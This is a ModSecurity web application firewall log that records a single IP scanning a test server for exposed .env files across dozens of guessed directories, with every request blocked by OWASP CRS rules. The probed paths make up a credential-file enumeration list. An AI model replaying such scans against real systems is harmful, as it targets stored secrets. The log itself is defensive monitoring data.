[Wed Feb 25 06:04:49.662444 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5aQAAAAM&quot;]
[Wed Feb 25 06:04:49.662636 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5aQAAAAM&quot;]
[Wed Feb 25 06:04:49.684262 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /actions-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5agAAAAM&quot;]
[Wed Feb 25 06:04:49.684526 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5agAAAAM&quot;]
[Wed Feb 25 06:04:49.684710 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5agAAAAM&quot;]
[Wed Feb 25 06:04:49.702430 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC9AAAAAU&quot;]
[Wed Feb 25 06:04:49.702918 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC9AAAAAU&quot;]
[Wed Feb 25 06:04:49.703209 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC9AAAAAU&quot;]
[Wed Feb 25 06:04:49.798208 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5bQAAAAM&quot;]
[Wed Feb 25 06:04:49.798559 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5bQAAAAM&quot;]
[Wed Feb 25 06:04:49.798757 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5bQAAAAM&quot;]
[Wed Feb 25 06:04:49.827025 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-panel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5bgAAAAM&quot;]
[Wed Feb 25 06:04:49.827322 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5bgAAAAM&quot;]
[Wed Feb 25 06:04:49.827498 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ6C8bZegw_qLbSTRXm5bgAAAAM&quot;]
[Wed Feb 25 06:04:50.046463 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /adminapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5cgAAAAM&quot;]
[Wed Feb 25 06:04:50.046883 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5cgAAAAM&quot;]
[Wed Feb 25 06:04:50.047116 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5cgAAAAM&quot;]
[Wed Feb 25 06:04:50.093690 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assignment3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVC-wAAAAU&quot;]
[Wed Feb 25 06:04:50.093954 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVC-wAAAAU&quot;]
[Wed Feb 25 06:04:50.094125 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVC-wAAAAU&quot;]
[Wed Feb 25 06:04:50.116984 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assignment4/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVC_AAAAAU&quot;]
[Wed Feb 25 06:04:50.117258 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVC_AAAAAU&quot;]
[Wed Feb 25 06:04:50.117448 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVC_AAAAAU&quot;]
[Wed Feb 25 06:04:50.195086 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /adminer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5dAAAAAM&quot;]
[Wed Feb 25 06:04:50.195390 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5dAAAAAM&quot;]
[Wed Feb 25 06:04:50.195833 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5dAAAAAM&quot;]
[Wed Feb 25 06:04:50.197824 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /audio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVC_QAAAAU&quot;]
[Wed Feb 25 06:04:50.198154 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVC_QAAAAU&quot;]
[Wed Feb 25 06:04:50.198329 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVC_QAAAAU&quot;]
[Wed Feb 25 06:04:50.438652 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /agora/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5dwAAAAM&quot;]
[Wed Feb 25 06:04:50.438971 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5dwAAAAM&quot;]
[Wed Feb 25 06:04:50.439166 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5dwAAAAM&quot;]
[Wed Feb 25 06:04:50.456633 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAAAAAAU&quot;]
